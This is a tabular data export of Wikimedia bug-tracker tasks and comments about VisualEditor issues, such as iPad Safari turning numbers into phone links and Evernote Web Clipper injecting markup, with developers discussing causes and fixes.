+236008,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"So, James, is this what we are going to do, adding this line? Thanks.",,,1396944069,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+236000,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"The answer appears to be to have:
+
+  <meta name = ""format-detection"" content = ""telephone=no"">
+
+… in the <head> of the page. Unfortunately, we probably don't want to switch this off for all MediaWiki pages, so instead we will need to experiment to see if JS inserting it into there makes the behaviour go away.",,,1395762161,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,True,,,38,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+235993,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"(In reply to Jesús Martínez Novo (Ciencia Al Poder) from comment #5)
+> Hmmm, it seems I was close enough ;)
+> 
+> ""In Safari on iOS, telephone number detection is on by default"" according to
+> [1]. There it says that adding <meta name=""format-detection""
+> content=""telephone=no""/> would prevent that autolink feature, that may
+> interfere with the content editable component of the editor.
+> 
+> ----
+> 
+> [1]
+> https://developer.apple.com/library/safari/featuredarticles/
+> iPhoneURLScheme_Reference/Articles/PhoneLinks.html
+
+That URL is no longer valid. This is the new one:
+
+https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html",,,1393672711,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1
+235988,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"And, yes, I really think that VE/Parsoid should find a way to detect changes from browser extensions and neutralize them, otherwise it will be an endless battle to have every extension modified, updated, ...",,,1377442673,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+235983,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"(In reply to comment #4)
+> This might be a bug in Safari rather than VE, but even if it is it would be
+> useful for VE (or Parsoid?) to detect the changes and neutralise them. It is
+> unlikely that Wikipedia would need href=tel: links but I can see they might
+> be
+> useful in environments like the contact pages on the Foundation wiki, so
+> stripping such links completely mightn't be the optimal solution?
+
+Isn't the <a> tag deactivated on the Foundation wiki also, as it is on Wikipedia ?
+On Wikipedia, the <a href=""tel:..."">...</a> doesn't produce a link because MediaWiki renders the <a> tag as text.
+
+Even if ""tel:"" was needed on any wiki, it would be better handled as an external link [tel:... ...] than as a <a> tag.",,,1377442583,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1
+235975,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"Hmmm, it seems I was close enough ;)
+
+""In Safari on iOS, telephone number detection is on by default"" according to [1]. There it says that adding <meta name=""format-detection"" content=""telephone=no""/> would prevent that autolink feature, that may interfere with the content editable component of the editor.
+
+----
+
+[1] https://developer.apple.com/library/safari/featuredarticles/iPhoneURLScheme_Reference/Articles/PhoneLinks.html",,,1377441939,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+235967,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"Bug 51959 was also iPad/Safari and I've not seen any reports of it being reproducible on any other system so I've adjusted the bug summary accordingly.
+
+This might be a bug in Safari rather than VE, but even if it is it would be useful for VE (or Parsoid?) to detect the changes and neutralise them. It is unlikely that Wikipedia would need href=tel: links but I can see they might be useful in environments like the contact pages on the Foundation wiki, so stripping such links completely mightn't be the optimal solution?",,,1377441370,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+235959,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"For the first one, iPad with Safari.
+No answer for the seconde one.",,,1377440082,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+235952,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"May it be caused by a Skype plugin for the browser, that usually make those telephone-looking numbers into a clickable link to make a call through Skype?
+
+http://stackoverflow.com/questions/3032427/how-to-prevent-phone-numbers-to-be-converted-into-skype-links",,,1377431900,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+235946,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"I can't reproduce it on either page using Firefox 23 / Linux.
+
+Do you know what OS/browser those editors were using?",,,1377431452,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+55252,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"EverNote Web Clipper has a problem with the editable area and inserts:
+
+<style id=""_clearly_component__css"" type=""text/css"">#next_pages_container { width: 5px; hight: 5px; position: absolute; top: -100px; left: -100px; z-index: 2147483647 !important; } </style><div id=""_clearly_component__next_pages_container""></div>
+
+Triggering: https://en.wikipedia.org/wiki/Special:AbuseFilter/345
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1377255600,1412114353.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-pxgyjw5isiqywctk5c7e,task_description,resolved,True,c1,3,True,False,False,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+257111,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"Change 163961 merged by jenkins-bot:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412114013,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+257108,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"Change 163961 had a related patch set uploaded by Alex Monk:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412113100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+257105,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"Derk-Jan, did you hear back from Evernote?",,,1406844430,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,True,,,56,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+257101,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,Evernote support ticket #253866,,,1385645050,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+257097,VisualEditor: Evernote Web Clipper inserts _clearly_component__css,"I submitted a report with Evernote trough their API developers platform.
+
+http://dev.evernote.com/support/faq.php#filebug
+
+Not totally the right forum, but I suspect that was the easiest way to get developer level support.",,,1377256101,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-pxgyjw5isiqywctk5c7e,task_subcomment,,True,c1,3,True,,,7,,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,0
+55250,VisualEditor: Hieroglyphics tool inserts a new line at the cursor whether or not you actually insert a hieroglyphics block,"Screeshot of post hiero editor
+
+Safari 6
+
+I opened the editor inline, didn't do anything, pressed the back arrow, the editor closed and inserted a newline.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11956}",Low,25.0,1377250800,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ur6ykzlvrepzlje7qdsa,task_description,open,True,c1,3,True,False,,7,,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+55235,Support Clipboard Based Image Upload,"**Author:** `lucashokanson`
+
+**Description:**
+It would be extraordinarily useful to mimic Imgur.com's clipboard based uploader.  Upon visiting the upload page, you would simply Paste - command/control v or click a button to use your clipboard's contents.  This would then upload the file and return to you the standard file:____ page.  
+
+In addition to this, if this functionality is built it, it would even more useful to streamline this into the page editor as well. A simple button click could pop up a prompt and upon upload return the proper image reference in your article.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=37932
+https://bugzilla.wikimedia.org/show_bug.cgi?id=65670",Low,25.0,1377203100,1425600740.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-jbmwpl35zyrkzdw4hfwx,task_description,duplicate,True,c1,3,False,False,False,7,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+255930,Support Clipboard Based Image Upload,I'm going to move this to upload wizard I suppose.,,,1377203439,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-jbmwpl35zyrkzdw4hfwx,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+255923,Support Clipboard Based Image Upload,"There's an ambition to add this to VisualEditor in time - see bug 37932, which I've added as a see also - but not sure on plans for doing this for the regular wikitext editor.",,,1377203318,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jbmwpl35zyrkzdw4hfwx,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+55231,VisualEditor: Suggestion lists (of templates/links/categories/etc.) differ over time with the same input (e.g. between browsers/users),"In Chrome, edit any page in https://test2.wikipedia.org
+
+Click Transclusion, type 's' into input box.
+Result is a list of suggestions that begin with ""Smaller"" and ""Sectstub""
+
+In Firefox, edit any page in https://test2.wikipedia.org
+
+Click Transclusion, type 's' into input box.
+Result is a list of suggestions that begin with ""Succession box"" and ""South America""
+
+This suggests that at least one list of Template suggestions is absolutely incorrect.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=58406",Low,25.0,1377199800,1429301547.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-gi6xthiyrxw7c2mnmgvl,task_description,declined,True,c1,3,False,False,False,7,,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0
+255728,VisualEditor: Suggestion lists (of templates/links/categories/etc.) differ over time with the same input (e.g. between browsers/users),*** Bug 70219 has been marked as a duplicate of this bug. ***,,,1416339245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gi6xthiyrxw7c2mnmgvl,task_subcomment,,True,c1,3,True,,,72,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+255726,VisualEditor: Suggestion lists (of templates/links/categories/etc.) differ over time with the same input (e.g. between browsers/users),"This is caused by the search back end that supplies the suggestions; I don't think it alters by user/browser so much as over time (though it's cached after the first request for a bit). Not sure if this is a ""bug"" per se…",,,1387245600,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gi6xthiyrxw7c2mnmgvl,task_subcomment,,True,c1,3,True,,,24,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,1
+55226,VisualEditor: CSS munging causing absolutely-positioned <div>s used to create pie charts(!) to break,"https://he.wikipedia.org/wiki/%D7%A8%D7%90%D7%A9%D7%95%D7%9F_%D7%9C%D7%A6%D7%99%D7%95%D7%9F?veaction=edit
+
+The template on the left has a pie chart (see in view mode in the extendable green section) -- but in edit mode it's all jumbled.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+{T53932}
+{T53166}",Low,25.0,1377192840,1429615773.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-s55lzef3gmpfhhdexj66,task_description,resolved,True,c1,3,False,False,False,7,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+446999,VisualEditor: CSS munging causing absolutely-positioned <div>s used to create pie charts(!) to break,"The issue as filed was resolved long time ago (see parent bug T52577), I filed T96667 to track the issue of oversized highlights.",,,1429615765,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-s55lzef3gmpfhhdexj66,task_subcomment,,True,c1,3,True,,,94,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+446010,VisualEditor: CSS munging causing absolutely-positioned <div>s used to create pie charts(!) to break,"There are no screenshots here to show how it used to be broken, but it seems almost correct now. Only the highlight is displayed incorrectly.
+
+(The infobox also looks a bit borked, which is a Parsoid issue I filed as T96529.)
+
+{F117709}",,,1429478036,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-s55lzef3gmpfhhdexj66,task_subcomment,,True,c1,3,True,,,93,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+55090,"VisualEditor: Hieroglyphics tool operating on a selection replaces the content, rather than appending the hieroglyphics block","Testing the hieroglyphics feature on MW.org just now:
+
+1. Open VE and select some text
+2. Click ""Hieroglyphics"" button
+
+Why can I ""apply"" hieroglyphics to a run of text, as if it was a kind of formatting? Doesn't make any sense.
+
+3. Type some hiero codes (e.g. G26-t:Z4-A40) in the box
+4. Leave the popup (by clicking away/clicking the < button)
+
+The popup goes blank and can't be dismissed (Firefox 23).
+Also notice that no hieroglyphics are seen.
+
+5. Review changes.
+
+The hiero tag successfully appears in the wikitext, even though it is invisible in VE.
+
+Sorry for three issues in one bug, but I guess you guys can figure this out.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1376996400,1386337120.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-cq2sis2akuochldidpvr,task_description,declined,True,c1,3,False,False,False,7,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+247792,"VisualEditor: Hieroglyphics tool operating on a selection replaces the content, rather than appending the hieroglyphics block",I can't reproduce any of these issues in Chrome or Firefox. Please re-open with details if you can.,,,1386337120,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cq2sis2akuochldidpvr,task_subcomment,,True,c1,3,True,,,22,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+247785,"VisualEditor: Hieroglyphics tool operating on a selection replaces the content, rather than appending the hieroglyphics block","The second and third issues are now fixed. However, you can still ""apply"" hieroglyphics (and LaTeX) to a run of text: this behavior is confusing and nonsensical.",,,1379825433,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-cq2sis2akuochldidpvr,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+55089,"VisualEditor: When ""section editing"", re-focus on that section after saving the page","Some users on en.wp consider it a bug that VE shows the top of the page after you edit a ""section"", and demand instead that, as VE auto-scrolls to the relevant section when you click Edit, it does the same after you save. Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1376995620,1541160256.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-unso5k7lgj5lojo4gz7w,task_description,resolved,True,c1,3,False,False,False,7,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+1170377,"VisualEditor: When ""section editing"", re-focus on that section after saving the page","Yes, it does seem to. There could still be some polishing done to make it smoother, but it does work, so this task is resolved.",,,1541160256,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-unso5k7lgj5lojo4gz7w,task_subcomment,,True,c1,3,True,,,278,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+1170375,"VisualEditor: When ""section editing"", re-focus on that section after saving the page","It seems to work in recent versions of VisualEditor, isn’t it?",,,1541159845,,PHID-USER-2nopae2cxuamwcbndaih,True,,,PHID-TASK-unso5k7lgj5lojo4gz7w,task_subcomment,,True,c1,3,False,,,278,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+247756,"VisualEditor: When ""section editing"", re-focus on that section after saving the page",*** Bug 54645 has been marked as a duplicate of this bug. ***,,,1392058252,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-unso5k7lgj5lojo4gz7w,task_subcomment,,True,c1,3,True,,,32,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247755,"VisualEditor: When ""section editing"", re-focus on that section after saving the page","Not sure, is https://bugzilla.wikimedia.org/show_bug.cgi?id=52566 a dupe?",,,1384269494,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-unso5k7lgj5lojo4gz7w,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0
+55058,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","If you have the preference set to ""Edit pages on double click"", then double-clicking on a word while you're already in VisualEditor tries to re-open the page so you can edit it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Double-click_asks_if_you_want_to_leave_page",Low,25.0,1376935080,1411685035.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_description,resolved,True,c1,3,False,False,False,7,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
